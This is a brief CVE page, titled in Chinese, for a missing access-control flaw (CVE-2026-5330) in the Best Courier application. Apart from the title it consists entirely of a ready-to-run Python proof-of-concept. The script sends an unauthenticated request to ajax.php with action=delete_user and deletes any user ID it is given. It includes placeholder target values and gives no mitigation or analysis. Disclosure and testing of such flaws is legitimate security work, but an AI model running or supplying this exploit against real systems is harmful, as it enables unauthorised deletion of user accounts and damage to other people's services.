CVE-2026-5330 Best Courier访问控制缺失漏洞

import requests def exploit(target_url, user_id): """ PoC for CVE-2026-5330 Exploits improper access control in user deletion functionality. """ # The vulnerable endpoint url = f"{target_url}/ajax.php" # Payload parameters params = { "action": "delete_user", "ID": user_id } try: # Send the request without authentication headers response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {url}") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and User ID to delete target = "http://example.com" uid = "1" exploit(target, uid)